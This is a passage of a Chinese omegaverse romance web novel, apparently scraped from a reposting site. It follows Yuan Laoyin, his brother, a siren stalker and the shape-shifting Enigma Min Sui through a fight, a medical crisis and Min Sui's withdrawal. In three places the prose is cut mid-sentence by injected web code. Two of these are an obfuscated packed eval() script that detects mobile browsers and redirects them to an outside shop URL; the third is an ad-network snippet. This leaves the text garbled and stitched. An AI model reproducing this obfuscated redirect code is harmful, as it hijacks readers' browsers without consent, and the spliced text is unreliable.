低迷期只要命定伴侣陪在身边,塔卢索都会感到愉悦。 “嗯。” 办公室的灯很亮,光下的Alpha漂亮得出奇,天寒地冻的北方他只在外套下穿了件无袖背心,于Alpha而言过于洁白的手臂上是恰到好处的肌肉,很吸引人的目光。 闵随承认短暂的心动,那是他心甘情愿的倒戈,但一百步也只会迈出半步的距离,他需要考虑更深层次的东西。 比如原烙音明明不喜欢他却执意要与他在一起。 以及Enigma与塔卢索的真实身份会不会对原烙音造成困扰。 低迷期的一切都是没有逻辑的,在这个特殊的时期对自己的命定伴侣产生好感在所难免。 他并不认为这份不该生出的喜欢会坚持很久,再过几天,他的低迷期就该结束了。 原烙音把小块蛋糕剁个稀巴烂再塞进嘴里争取不浪费每一分钱,裤兜里手机响起,刚刚接通就传来原衡铎的尖叫声。 “哥!救我!”原衡铎的声音很急,混杂着风声,像是在奔跑,“我看见傅云泠了,他就在楼下,你快回来我打不过他!” 电话匆匆挂断。 IMS到学校至少一个小时车程,报警不太现实,原烙音的脸色越来越沉,拨通安保处电话。 “您好,我是信息工程学院N·C实验室卓教授的研究生原烙音,学号是X12345。”原烙音用尽可能短的时间传递有效信息,“寝室在研究生宿舍六舍412,今天带了校外人进来并有访客记录,我实名举报有非本校学生违规进入学校,并且试图闯入宿舍,现在我正在往学校赶,请派人保证我弟弟的安全,谢谢。” 校方对于学生安全一向重视,当即表示已经派值班安保去看。 想起原衡铎对那条人鱼的描述,原烙音再看见剩下6%的电量只觉得心烦意乱。 “你弟弟在宿舍?”闵随找到他长串话语中的漏洞,“真在宿舍,即使是站在阳台,也不会有风的杂音。” “闵先生。”原烙音猛地望向闵随,别人不知道,他可是知道傅云泠不是人,有什么能力还说不准,真被抓到,原衡铎这蠢小子就只有死路一条,“我要马上过去。” “我陪你。”闵随道,“我的车在停车场,你别骑机车了。” 情绪激动时驾驶车辆发生交通事故的概率更大。 “嗯。”原烙音跟在他身后,进入电梯,看着红色数字跳动向下,直到-1层缓缓开门。 还是熟悉的迈巴赫。 夜景在眼前跳动着,现在的时间指向凌晨两点,原烙音头靠在车窗闭上眼睛,懊恼自己一时头脑发热把原衡铎带来首都又丢进学校不管,完全忽略了傅云泠可能后脚就来。 “别担心。”闵随从后视镜看去,发现Alpha的脸色实在难看,还不知道从哪里翻出一卷布包裹自己的手掌。 “闵先生,我弟弟很单纯,甚至有些蠢。”原烙音注意到男人算得上关切的目光,笑得苦涩,他并不打算透露更多细节,只搪塞着,“是我思虑不周。” “你弟弟是Alpha?”闵随问道,他的声音放得很轻,安抚意味很重。 “对,比我小一岁,量级与我大差不差,是个健全的Alpha。”原烙音对原衡铎总是很愧疚,他由于身体的残缺比原衡铎拥有更多家人的爱,这样不算公平的情况下,原衡铎还是事事以他为先。 “他是个成年Alpha男性,会有自保的能力。”闵随宽慰道,将车速控制在最高限速,“要到了,你可以试着打电话或者发信息问问他在哪里。” “他给我发了微信,说躲在莲花池,但安保科的人没找到他。”原烙音已经将位置透露给了巡逻人员,但他们并没有在莲花池找到原衡铎。 “或许是十教楼下那个小水池,如果还没拆的话。”闵随单手控着方向盘拐进学校,毕业多年还是没有忘记,“不是本校的人应该不知道种荷花的有两个地方。” 而且现在也不是有荷花的时候,黑灯瞎火谁看得清楚。 “我开过去。” 原烙音拉下车窗,在黑暗中仔细辨认着,节假日学校零点会关闭主干道外的所有路灯,随着闵随拐进小道,视野所及之处漆黑一片。 由于频繁开机查看原衡铎的消息框,6%的电量终于完成它的使命。 【请注意,您的手机即将关机,倒计时20,19,18……】 手机最终变成一块坚硬的黑色板砖,而原烙音还是没有找到原衡铎。 他焦急地观看每一处熟悉又陌生的地方,渴望找到蛛丝马迹。 今晚没有月亮,学校周边并没有划出烟花燃放区,原烙音适应黑暗中勉强看见蹲在石碑旁的一团黑影。 原烙音闻到了属于原衡铎的信息素,甘梅味,很清冽。 “我看见了!”原烙音吼道。 还没等原烙音下车,有个人影鬼鬼祟祟朝原衡铎靠近,抓住他的手臂,两个人扭打起来。 稍微矮一些的人很快被牵制住动弹不得,发出模糊不清的咒骂。 就是原衡铎的声音。 闵随将车停在路边,刚刚停稳原烙音就拉开车门奔过去。 “放开他!”原烙音经验丰富,冲上去一拳直接打在较高的人影身上,将原衡铎从对方的桎梏下解救。 傅云泠只觉得口腔充血,他下意识摆拳回击,打空不说反而小腹一疼。 原烙音直接用膝盖去顶,完后没有结束,又朝他腹部狠砸几拳,打得他躬下身去。 从小到大上岸后还没被人这么打过,傅云泠咬着牙,准备给原烙音点颜色看。 他没练过拳,但身体强度不是人类能比的。 “傅云泠!你敢打我哥!” 原衡铎呵斥道,他一打岔,傅云泠的攻击就慢了半拍,这么点功夫又挨了几拳,全身上下无一处不痛。 赛场上不允许的高危险动作大半都发生在傅云泠身上,简直是把他当作人肉沙包。 “小原,别打了。”闵随姗姗来迟,拉开暴怒的原烙音,“寒假还是有人留校,万一报警就不好了。” “你再跟着我弟弟,我绝对找办法弄死你。”原烙音被闵随拉住不再朝前冲,但狠话一点没少放。 原衡铎悄咪咪缩到哥哥背后。 傅云泠手背蹭蹭脸,发现自己嘴角和鼻腔都被原烙音打出血,眼前重影一片,隔着羽绒服都感觉骨头断了,可想而知原烙音用的力道有多大。 他还没出言怼回去,就感觉到铺天盖地的乌木信息素,只朝着他一人扑来,就像是要将他的腺体挤压爆炸。 塞壬有在黑暗中视物的能力,他能够清楚看见释放信息素那人的脸。 还是个意料之外的熟面孔。 “闵总。” 触手怪。 “傅顾问。” 死人鱼。 傅云泠喘着气,抵抗着比他高级别的信息素,不让始作俑者一号看出端倪。 “你们认识?”始作俑者一号原烙音抬脸看向闵随,刚刚他全方面碾压吊打傅云泠,一场下来,只是头发有些乱,寒冬腊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152810|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月出了一身汗。 “傅先生是海洋研究界著名学者,是IMS相关业务的特殊顾问。”始作俑者二号笑里藏刀,收回信息素,眼神警告傅云泠赶快滚。 塞壬喘着粗气,消化着他发现的信息。 低迷期的塔卢索。 傅云泠在盘算他能不能打过,最后得出他不打死塔卢索以后一定会死得很惨的结果。 “你们找顾问都不看看人品吗?”原烙音大声奚落,把原衡铎护得更紧,“傅云泠,小铎心好不愿意透露你的秘密,我心狠,别逼我联系相关部门把你送进去。” 他顾忌着闵随在场,没有把话说明。 但闵随很清楚原烙音在威胁什么,Alpha对于人外生物的厌恶太过明显,他缩了缩手指,最后还是什么都没有说。 傅云泠感觉鼻梁骨都被原烙音打断,血还没有止住,他注意到闵随的小动作,露出玩味的笑。 原来如此。 好像知道该怎么报复触手怪了。 “铎哥,我先走了。”他可怜兮兮的表情只换来原衡铎的低头,但塞壬先生并不在意这些细节,走得很快。 直到男人的身影彻底消失不见,原衡铎才脚一软朝地上瘫去,感受到哥哥的担心,他挤出笑。 即使原烙音看不见。 “哥,我明天就回邛光吧。”他的声音很小,“我准备回去跟父亲还有爸爸说傅云泠的真实身份,一直躲着也不是办法。” “我说过这么多次不希望他逼我太紧,他永远学不会。”原衡铎在飞机上睡不着觉,外卖没吃上还因为傅云泠提心吊胆,情绪彻底崩溃,“他还骗我,他就是个骗子,我永远也不会原谅他这个骗子!” 明明是指责另一个人的话语,原烙音却像被误伤,他的欺骗还没有完全展开,还是忍不住心虚扭头去看漆黑中闵随的脸色。 “晚上有些冷,我去把你的衣服拿来。”空调开着,原烙音上车就脱了外套,还堆在后座。 风一吹,原烙音就打了个寒噤。 “哥,你这段时间小心点,他要是来报复你你记得给我说。”原衡铎见状将羽绒服脱下包裹在自家哥哥身上,“他真的能生撕鲨鱼。” “他再来,你哥我生撕了他。”原烙音担心傅云泠折返,他对于这人没什么好观感,“学校住不得了,我带你去酒店。” “要AA吗?我没钱。” 原烙音一巴掌拍在他后脑勺。 闵随掐着时间过来,把两件衣服都递给原烙音。 “有些冷,这件我没穿过。”他示意那件黑色大衣,“你要留在学校吗?” 原烙音敏锐察觉到闵随态度的变化,不知道是不是他孤注一掷到首都所带来的幸运加持。 但无论闵随转变的原因是什么,对于原烙音来说都是件值得愉悦的事。 “闵先生。”天很黑,但他的眉眼弯弯完完全全落进塔卢索的眼中,“我打算带小铎找个酒店。” “现在吗?”闵随看了眼时间,已经进入后半夜,“离你们学校不远的塔菲尔酒店我个人有注资,顶楼有我的房间,我送你们过去。” 原衡铎有些犹豫,他不清楚哥哥的态度。 “谢谢您。”原烙音求之不得,“小铎,我们走吧。” 酒店不远,没几分钟就到了。 “闵先生是要回去工作吗?”闵随的房间是套房,原烙音没有离开的理由,况且忌惮着傅云泠,他也不可能再把原衡铎一个人丢在这。 “嗯。”闵随点头,“还有些计划内的工作没做完。” 原烙音意识到是自己今夜占用闵随过多的时间,有些尴尬。 “我今天很开心,谢谢小原。”闵随朝门走去,将原烙音没有听见的祝福重申,“新年快乐。” 原烙音站在原地,露出真心实意的笑。 好像,闵随真的态度更缓和了。 他摸上有些肿胀的腺体,想来是刚刚吸入了闵随的信息素。 有救了。 17. 第 17 章 寒假还没有结束,学生就陆陆续续返校,原烙音不急着去实验室报道,这几天都窝在宿舍。 他很快感受到了异常。 易感期! 这才过了一个月! 火,从身体内部开始燃烧,几乎腐蚀融化原烙音的肌肤。 他厌恶透顶这种不受控制的感觉,每一次突如其来的易感期都在强调他的残缺。 他是一个无法掌控信息素的Alpha。 是四肢健全的残疾人。 针头狠狠扎进手臂,冰凉的蓝色液体全部进入体内开始作用,给予原烙音短暂的平静,但很快那股火又卷土重来。 YS-311抑制剂失效了,它并不能压制汹涌的易感期热潮。 与此同时无可避免的副作用接踵而来,头晕、恶心,眼前重影折磨得原烙音手死死抓住床单,手臂上青筋暴起。 意识并没有因为冲撞的抑制剂与信息素而丧失,剧烈的痛感刺激着神经,他能够感受到每一缕接触肌肤的空气。 连YS-311都无法发挥作用,他不知道未来该怎么办。 他的眼前出现走马灯,无数个熟悉又陌生的人闪过,最后定格在一个人身上。 冰冷的目光,强悍的信息素。 是闵随。 那是他的救命稻草,是压制热潮的唯一途径,原烙音的意识开始从边缘模糊,他全身被汗水浸透。 就让闵随咬他吧,临时标记,完全标记,都可以,他不在乎,哪怕是乌木信息素将他彻底吞噬,只要能够脱离困境就行。 “闵先生……”他知道自己的声音在颤抖,是前所未有的虚弱,哪怕刚从拳场上下来也从来不会如此。 “小原,你怎么了?”闵随的声音传来,还是很冷,但如同久旱甘霖。 新年夜过去后闵随对他的态度发生天翻地覆的变化,虽然不曾主动,但终究不再拒人于千里之外。 求求他吧。 他会答应的。 想想拉乌斯蒙德。 “救救我闵先生,我要死了——”原烙音最后终于妥协,但手指误触红色按钮,电话挂断。 他的重影更加严重,手指颤抖,拨打电话这样简单的行为也变得艰难。 易感期的Alpha有一定概率变得暴躁易怒充满攻击性,原烙音失去耐心抓起手机狠狠砸向地面。 “为什么不来。”他的毁灭欲铺天盖地,手边有什么就要破坏什么,撕烂的床单,变形的摆件,满地的玻璃渣子,各种物品破碎折断的声音此起彼伏。 十几分钟,宿舍就像是蝗虫过境。 那么大的动静,外加原烙音的高量级信息素四处飘散,很快Beta守卫就上来疏散整栋楼的Alpha,免得事件升级。 原烙音用最后的理智锁上门,学校担心这种意外情况发生,寝室大门是较高级别坚固木门,凭蛮力几乎无法破坏。 他有不同于普通Alpha的体格,易感期狂躁倾向的Alpha更是会忽略疼痛,纠缠猎物不死不休。 这对于本就是拳手的原烙音来说,更加恐怖。 Beta守卫举着电棍在门口严肃以待,Alpha协会很快会带着麻醉枪和止咬器前来带走失控的Alpha。 一墙之隔,里面的低吼就像是野兽,Beta守卫们的身子都在颤抖。 “麻烦让一下。” 男人身材高大,西装革履,有些风尘仆仆。 谁也不知道闵随是如何压缩时间赶到学校,他似乎很久没有好好休息,眼睛不满红血丝,外套下的束缚带几乎要爆裂开来。 “大楼的Alpha全部疏散了吗?”他很冷静,将那些暴虐的欲望全部压制。 “全部疏散了。”守卫并不认识眼前人,有些警惕。 “我是他的朋友,信息素能够压制他,现在立刻带人退到楼下,看到陌生人他会应激。”闵随的语气近乎于发号施令,“他是拳手职业特殊,且经过训练能够忽略疼痛,你们的电棍对付不了他。” “将周围宿舍楼的Alpha一起疏散,他的量级很高。” “Alpha协会到后立刻上来,我们要将伤害降到最低。” Beta们对视一眼,还是选择退出选择先去疏散学生。 “小原。”闵随轻轻敲门,却换来一声未知物体砸在门上的巨响。 “我是闵随。” 没有任何回应,只有打砸的声音。 这样的僵持持续了两分钟。 “退后,不要靠在门边。”闵随抬头看去,登时整层楼的监控都失去作用,巨大的腕足缠绕在把手,一用力,门锁挤压变形。 拉开门的瞬间,一拳狠狠甩过来,直接打得他头偏过去。 闵随痛得倒吸一口凉气,他感觉到自己口腔传来血腥味,脸的肿胀感很强烈。 原烙音终于从重影中看清楚来人,破坏欲倏地被委屈盖过,他站在原地,像个做错事的孩子低头不知所措。 等了好久好久,为什么闵随才来。 他脸上还带着止咬器,可能是佩戴得慌乱,连皮带的长度都没有调整,深深勒进Alpha的侧脸。 “过来。”闵随这辈子就没被人打过脸,他向原烙音招手,最后还是牵住Alpha的手把人拉进怀中,“手疼不疼。” 这双不受保护的拳头不知道攻击了多少东西,数不清的细碎伤口,还在流血。 “对不起。”原烙音的声音很轻,他看不清楚画面,瞳孔是涣散的,“我不知道那是你,我没闻到你的信息素。” “不怪你,我送你去医院,寝室的事情谢垣会来处理。”闵随摸摸他的脊背轻声安抚,替他松开脸上的束缚,易感期的原烙音就像从猛虎变为一只嘤嘤叫的小狗。 “闵先生,我好热。”原烙音全身都在发疼,抑制剂的副作用愈演愈烈,“我头晕……抑制剂没用……热。” 原烙音的语言系统彻底紊乱。 “没关系,很快就好了。”闵随轻声道,“还看得清楚我吗?” “看不清。”原烙音可怜兮兮,“我什么都看不清,是模糊的。” 大脑也受到激增的信息素影响,他的视觉暂时蒙蔽。 “张嘴。”闵随的声音忽然变得不容置喙,原烙音照做,男人的手指转化为细长无骨的触手,透过止咬器的空隙,伸进Alpha的口腔,挤入液体。 “这是什么,甜的。”原烙音咂咂嘴,他只看得见黑色,而舌头告诉他那东西是微凉的,柔软的,有奇怪的圆形凸起。 像章鱼的触手。 “好像没那么难受了。”原烙音咂咂嘴,口腔中还残留着甜味。 闵随脸上看不出一丝端倪,没有人知道原烙音的信息素同样影响着他。 这是塔卢索的能力,与命定伴侣共感,单向分担伴侣的痛苦。 “镇定剂。”闵随道,“还能站起来吗,要不要我抱你出去?” 原烙音摇摇头,他能站起来。 “谢谢你闵先生,我已经好多了。”原烙音走了两步毫无预兆地朝前倒,闵随扶住他。 “Alpha协会,这是我的证件。”协会的人终于赶到,他们带着完整的束缚工具和麻醉剂。 “不用注射麻醉剂,我带他走。”闵随见那些针头比抑制剂粗的麻醉剂皱起眉,担心原烙音应激,“我带他去阮合医院,你们可以派人跟着。” 去协会也不过是关进劣质无保障的安全屋,半点用都没有。 “这不符合规定。”领头的人说道。 闵随皱起眉,他不喜欢在这个时候受到阻拦,但教养令他尽量控制,使用平和的语气回应:“易感期是突发事件,并没有造成社会负面影响,如果需要做笔录也可以适当延期,赔偿我们更是不会亏欠,毕竟人的身体才是最重要的。” 对面还想要说什么,封锁的楼梯上来一人,带着无框眼镜。 是个文质彬彬的Beta。 “老板。”谢垣及时赶到,示意闵随带着原烙音快走,假笑着拦住Alpha协会的人,“IMS一直很支持协会工作,闵董也知道你们不容易,一切后果我们自己承担。” “需要送你们回去吗?”谢垣职业假笑。 那几人对视一眼还是选择回去,毕竟IMS和总部合作不少,那人还是IMS的掌权人,轻易招惹不起。 原烙音乖乖坐直看向前方,手脚使不上劲,头还晕着。 他被闵随抱去抽血,又带到符忍盛的诊室。 “才过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152811|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个月又来易感期,这也太短了。”符忍盛翻看治疗记录,表情严肃。 正常Alpha的易感期基本间隔6-8月,有稳定关系后逐渐拉长至10-12月,而原烙音由于无法自然分解腺体中分泌过多的信息素,易感期无稳定周期,但也没有一个月那么夸张。 “拉乌斯蒙德,是我标记了他,临时标记,无深入行为。”闵随一本正经,托着原烙音的屁股,丝毫不顾Alpha挂在他身上当树袋熊。 符忍盛闻言一僵。 也难怪原烙音回来后信息素水平低于标准线,Enigma信息素本来就是极其霸道的存在。 闵随更不是普通Enigma。 “你先把他放下来,绑那里去。”符忍盛看到就心烦,这两个人怎么搅和在一起,“你知不知道他天生腺体残缺根本受不了临时标记,更不要说你还不是Alpha,标记他极有可能改造他的腺体,那是不可控的。” “你的信息素短时间看能够压制他的易感期,抵消他多余的信息素,但你知不知道,上一次你临时标记留下的信息素差点害死他。”符忍盛惹不起以凶残著称的塔卢索,但他忍不住为原烙音讨公道。 “你好歹是那么多岁的人了,那么小你都下得了手,你不是说你有命定伴侣了吗……”符忍盛的眼神越来越不可置信,他想自己需要呼吸机,“原烙音是你的命定伴侣?” “对,他很吸引我。”闵随不掩饰自己对原烙音的注意,“我在尝试拔除他对我的影响,但低迷期他从邛光赶来陪我,我想我失败了。” 符忍盛喝茶润润喉咙,他眼神越过闵随看向玻璃后被紧紧束缚不知所措的原烙音,叹了口气。 “他对于你来说是世间唯一。” “但你不适合他,你比任何人都更不适合他,短期看你能够让他体会到正常人的感觉,但你的信息素会吞噬他,你带给他的是伤害。” 是伤害吗? 闵随转过头去,看见原烙音的口型在喊“闵先生”。 他很可怜,浑身冷汗还带着止咬器,就像是雨中湿漉漉无家可归的小狗。 闵随笑着低头,利用刚刚滑入食道的液体当媒介安抚易感期敏感的Alpha,眼睛却像是淬了冰,他的拳头已经攥紧。 从来没有塔卢索会伤害自己的伴侣,哪怕没有爱。 但也没有塔卢索会不爱自己的伴侣。 “他的状态很不好,需要我给他临时标记吗?”闵随的声音有些干涩,他不再回头看原烙音。 是因为他才这么饱受折磨吗? “上次的临时标记对他的身体产生影响,他的易感期只能由你提供信息素才能压制,不然他就会一直处于高兴奋状态,随时可能窒息猝死。”符忍盛有些犹豫,最后还是隐晦道,“不能标记,但仅仅释放,他能够接收到的信息素远远不够。” “抽腺体/液在腺体科吗?我现在去,多少都行。”闵随站起身朝外走,“别告诉他我抽了腺体/液。” “等等!”符忍盛叫停他,若非时间地点不允许,他几乎想要尖叫。 这都什么事啊! Enigma没有腺体抽个鬼的腺体/液,要得到高纯度信息素只能够抽血分离,且不说医院的技术能不能跟上,就说时间,分离到应用量闵随没死,原烙音都不行了。 “我建议找Omega志愿者。”符忍盛顶着闵随杀人的目光道,“你先听我说完!” “正常水平下你们会相互吸引,吸引会促进他信息素分泌,一旦超越阈值进入易感期,你的信息素就会对他产生上瘾的快感,他的易感期会越来越短,他会越来越渴求你的信息素,临时标记,直至完全标记。” “而完全标记后的结局,是未知,没有先例,没有人知道!” 无人知道的后果往往是不能承担的。 或许是腺体彻底报废,甚至死亡。 “你应该远离他,让他自己忍过去,这样你根植在体内的影响就会随着时间推移消失。” 闵随不愿意听到这样的话,他知道自己可笑的占有欲在作祟,自从新年过后,他对原烙音的态度比原来拒不接受要好很多。 基因里的东西趁虚而入妄图侵占他的大脑,要他向自己的伴侣求爱,甚至臣服。 18. 第 18 章 符忍盛的话让安全屋陷入尴尬之中,与此同时外面响起敲门声,符忍盛打开门,是一个漂亮的Omega,就像颗甜丝丝的水蜜桃。 “您好,我是Omega志愿者,这是我的资格证。” “我是沈清诺,原学长的同门师弟,我的信息素与他的契合度93.8%。”原烙音易感期突发的事不少人都知道了,沈清诺一路打听才找到阮合医院。 “虽然我只是C级志愿者,但我同意接受临时标记。”他的表情很坚定,透过玻璃窗看向苦苦挣扎的Alpha,深吸一口气做出这个极少人愿意的选择,“也能够捐献腺体/液,只要能救学长。” 志愿者划分等级,C级是只释放信息素,B级是接受临时标记,A级是捐献腺体/液,不同的等级资格证颜色不同。 使用麻药会对腺体造成不可逆的伤害,抽取腺体/液的痛苦不亚于凌迟,与洗去最终标记的痛苦位于同一级,仅低于分娩。 而没人能够保证抽取腺□□不会对腺体产生伤害,如此娇嫩的器官,稍有不慎就会受到伤害。 闵随倏地一笑,他也认出这个有一面之缘的Omega。 没想到还喜欢原烙音。 “Alpha必须在意识清醒的状态下申请志愿者援助,原烙音不具备这个条件。”闵随的声音很平常,却听得在场一Beta一Omega神经紧绷,他用难以反驳的理由完全否决沈清诺的提议,“况且原烙音情况特殊,之前也从来没有Omega志愿者申请记录,不能够贸然尝试。” “你说呢,符医生?” 这简直是催命号角! 闵随也好意思说自己不喜欢命定伴侣! 可符忍盛不能事事听从闵随安排,他才是医生,考虑到原烙音的身体,他还是朝沈清诺道。 “小原在束缚椅上,你愿意进去在角落释放些信息素吗?”符忍盛一边说一边悄悄瞥闵随苍白的脸色。 好在闵随理智尚存,即使与原烙音感同身受,身体也不曾摇晃半分,突如其来的耳鸣就像老式火车的汽笛。 沈清诺点头,打开复杂的锁走进去,靠在墙角缓慢释放自己的信息素。 由于高契合度,原烙音的信息素对他的影响很大,所以他来时注射远超标准剂量的抑制剂,担心引来发情期。 闵随站在玻璃外,唇抿成一条线,冷眼看着位于对角线两端的人。 高契合AO名不虚传,闵随分来的痛苦都被抚慰不少,巨大的酸楚从心底泛起。 即使知道那是身体本能,闵随的情绪依旧无可避免的动摇。 不应该再呆下去了。 看原烙音煎熬的每分每秒对他来说无异于酷刑。 闵随推开门准备出去,耳朵却撞进声音。 “闵先生!” 他猛然回头。 “别走……” 玻璃门能够削去80%的声音,可想而知原烙音的呼喊有多急切,他全身紧紧束缚在椅子上,胸腔剧烈起伏着。 闵随吐出长长一口气,刚刚那些酸涩消失不见,取而代之的是难以忽视的雀跃。 他的命定伴侣在呼唤他。 门很快打开,沈清诺的肩膀一痛,反应过来时自己已经挪了位置,与符忍盛面面相觑。 “我好疼……” 闵随走到原烙音面前单膝跪地,他摘下原烙音脸上的止咬器,替他揉弄酸涩的腮帮,轻声安慰。 “我来了,没事了。” 按钮按下,玻璃转换为单向。 符忍盛的声音传来,“你们两个人注意影响,里面有监控啊!” 机器爆裂开的声音很大,符忍盛吞下脱口而出的骂,带沈清诺离开安全屋。 “闵先生,您不要我了吗?”原烙音的声音很轻,他的眼睛里凝聚着一团水雾,如同闵随对他的初印象。 一个漂亮的Alpha。 在拉乌斯蒙德原烙音也陷入失控,但与这次情况细微之处有所不同,闵随将其归咎于信息素之间的奇妙反应。 “没有,小原,你该休息了。”闵随从下往上仰视他,这是个全新的角度,他鼻间充斥着浓度极高的青柠味,甚至有些酸。 “我想要您的信息素。” 闵随定定看着他,忽然伸出手环抱住,手臂绕过他的后背将他往下压。 “这样会不会好一点。” 原烙音的头抵在男人的肩窝,闻着熟悉的乌木香,眼中闪过一丝狡黠。 “好多了闵先生,你好香。” “嗯。”闵随不跟病人一般计较,既然原烙音的易感期是应他而至,还意识不清,那负责也是正确选择。 不会有其他原因。 原烙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 音卸力倒在他怀中,闭上眼睛,脸上是由于吸入信息素的满足微笑。 易感期自出现开始就从未正常过,上次在拉乌斯蒙德认知失调才是罕见行为,原烙音与平常Alpha不同,他的意识在高压锻炼下已经随时随刻保持清醒。 闵随是唯一的变数。 小原同学很自然的在心中把进度条拉到10%。 双位数,目标达成! 安抚好原烙音后,闵随将他重新绑好,给止咬器调整合适的松紧度后出去找符忍盛。 符忍盛沉着脸待在门口,像极了守门望风的同谋。 怎么就这两个麻烦东西凑一块了。 “原烙音究竟是怎么回事。”一来二去,闵随不可能不怀疑原烙音的身体状况。 符忍盛从医多年,基本道德还是有的,他愿意透露病人隐私。 “天生的毛病,易感期紊乱,他不愿意找Omega志愿者,只能用医疗手段干预。”没问过原烙音的意见,他选择半真半假地搪塞。 “但我刚刚说的话不假。”符忍盛苦口婆心,“那个Omega我瞧着对小原是有感情的,93.8%的契合度算非常高了,你既然不喜欢人家,就别占着坑。” 闵随靠在墙上并未回应。 93.8%的契合度很高。 那塔卢索种族的枷锁就能轻易断开吗? 他有些生气,而在学校挤入原烙音口中的液体已经被宿主代谢,他无法感受原烙音的状态,就连分离的痛苦也在逐渐归还主人。 加厚的特殊玻璃更是隔绝了任何青柠信息素。 Enigma愈发烦躁。 “我知道了,我会远离他。”他年长原烙音许多,不能任由连自己都不接受的基因指引控制他,连带着不成熟的Alpha做出悔恨终身的选择。 他的明面身份是Alpha。 双A恋,是一条很崎岖的路。 Enigma,塔卢索的身份,都是不容于世的。 “本来就没什么关系,不见面再简单不过。”他也不知道强调给谁听,拿起随手搭在椅背上的西装外套,体面地离开安全屋。 符忍盛欲言又止,虽然他唯一见过的塔卢索只有闵随,但他听到过这个神秘种族的传言,还没有谁能够抵御命定的威力。 真的有那么简单吗? 19. 第 19 章 原烙音醒来时是在单人病房,身边坐着符忍盛。 窗台上的绿植蓬勃生长。 “医生。”他的嗓子很干,不知道昏睡了多久。 “你先躺着。”符忍盛拦住他起身的动作,递来一杯水,“你昏睡两天,易感期过了。闵随托我告诉你,他已经让谢垣替你处理好学校请假和赔偿的事。” “闵先生呢?”原烙音这才意识闵随没有在。 或许是IMS太忙了。 “他让我告诉你。”符忍盛恨死闵随让他来做这个恶人,“本来你们之间就没有什么羁绊,由于信息素越陷越深对双方百利无害,日后就不必见面了。” 设想中的咒骂与嚎叫都没有出现,阳光透过窗户落在蓝色条纹的病号服上,Alpha半边碎发鎏金,眼睫下垂抿着唇。 “我知道了。” 他并没有符忍盛想象中的难过。 闵随无论什么行为在他这里都不在意料之外,如果仅仅通过信息素就能吸引闵随,那闵随也不至于年过而立还是孤家寡人一个。 这样看来,10%的进度是他多想了。 就在符忍盛准备以过来人姿态安抚失恋的年轻Alpha时,原烙音却张嘴堵住他的话。 “医生,您相信有人鱼吗?” 符忍盛脑子差点没转过弯。 上次的米若,这次的人鱼,果然说年轻人脑子就是快,思维那么跳跃。 “你从网上看到什么合成视频了?”人鱼一向是热议的话题,人们议论祂的存在,幻想祂的容貌,渴望听见祂的歌声。 但很遗憾,网上的视频要不是座机画质,要不是AI合成,从来没有真正证实。 “不是,听到别人说了。”原烙音望向窗外,阳光有些刺眼,“这段时间老是在想是不是有人外生物存在。” 符忍盛笑得牵强。 当然是有的,你身边那个就是连传闻都没有的塔卢索,更别说蠢到被人发现踪迹的圣母人鱼。 “有想象力是好事。”符忍盛拍拍他的肩膀,“但医生还是信唯物主义的。” 符忍盛很忙,没坐多久就离开了。 只剩一人的病房,原烙音不能尖叫引来护士,只能把桌上的空花瓶捏在手中发泄情绪。 但最后还是作罢。 他刚刚进入两位数的进度条就这么毫无理由的清零了! “不会把我删了吧。”原烙音不相信闵随会做出这么幼稚的行为,随手发了几条消息。 【原烙音:我醒了】 【原烙音:谢谢您闵先生】 【原烙音:您在忙吗?】 非常好,没有出现红色感叹号。 发完就切进朋友圈,之前还满满当当的朋友圈变成两条线中间夹个点。 闵随把他屏蔽了,连工作宣传都不给他看! 原烙音深吸两口气,幸好他不是真喜欢闵随,不然就闵随这手断崖式交情能把他气得杀进IMS总部顶楼。 到底是哪一步出错了。 总不会是他自以为昏迷,实则对闵随做了不轨之事吧。 * 闵随的冷待是逐步叠加的,失去回应的消息框让原烙音明白,他需要与闵随见面。 盲目猜测原因是件内耗且效率低下的事。 想清楚的原烙音在初春的清晨走进IMS大门。 “您好,我找闵董。”突如其来的易感期抓到了快溜进麦田的狐狸尾巴,男人跪在他面前的场景还历历在目,原烙音不愿意坐以待毙。 “我还记得您。”Beta前台的笑容恰到好处,只不过这次她没有拨打内线电话,而是脸上挂着些许歉意,“抱歉先生,闵董今天外出,不在公司。” “那麻烦帮我预约明天。”原烙音不在意时间成本,他现在最不缺的就是时间。 “抱歉,明天董事长一天的行程都安排满,实在抽不出空。”前台微笑着传达不幸的消息。 她没有露出一丝端倪,职业素养极佳。 但原烙音拇指掐住掌心,他明白一个前台不会知道闵随的行程,这必然是闵随授意。 “那后天呢。”原烙音故意问道。 Beta眼中一闪而过的惊诧坐实原烙音的猜想,她很快临场反应,“后天闵董会去往邻市出差,归期不定。” 前台直接将原烙音后面看似无休止的对话从源头切断。 原烙音彻底明白是闵随不想见他。 可为什么呢? 易感期不还好好的。 “麻烦您告诉他,或者告诉谢助理,有时间给我电话。”原烙音不便过多纠缠,甚至为难Beta前台,他离开如同来时,走得很快。 前台目送他走出自动门,拨出内线直接打到助理办,转接到闵随办公室的专用机上。 “董事长,我已经按照您的意思拒绝原先生,他让我转达,您若是有时间给他一通电话。” 一通不可能拨出的电话。 “你做的很好。” 